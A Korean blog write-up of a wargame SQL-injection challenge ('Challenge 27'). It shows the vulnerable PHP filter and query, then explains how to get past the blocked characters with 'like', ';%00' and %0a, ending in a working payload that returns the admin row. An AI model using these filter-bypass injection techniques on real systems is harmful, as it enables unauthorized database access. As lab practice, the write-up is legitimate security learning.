728x90
반응형

 

sqli문제인 것으로 보인다. 소스코드를 확인하자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest"echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
cs

 

no값을 입력받아 필터링 과정을 거친다. 설정된 문자열이 포함된 경우 exit()가 호출된다.

 

select id from chall27 where id='guest' and no=({$_GET['no']})

위 sql 구문을 실행하여 id값이 admin인 데이터가 반환되면 문제가 해결된다.

 

admin의 no값이 2라고 주어졌으며, 이 것을 보고 guest의 no값은 0이나 1일 수 있다.

 

guest의 no값은 1이다.

 

id가 admin인 데이터를 뽑아내기 위해서 우리는 sql구문을 아래와 같이 만들어야 한다.

 

select id from chall27 where id='guest' and no=(0)or id = "admin"#)

 

그러나 =, #, 공백 이 필터링되므로 이 문자들을 우회해야 한다.

 

=는 like로 #은 ;%00 으로 우회가 가능하다.

 

공백을 우회하는 방법은 여러가지가 있는데, %0a로 우회하였다.

 

payload = 0)or%0aid%0alike%0a"admin";%00

 

 

 

728x90
반응형

+ Recent posts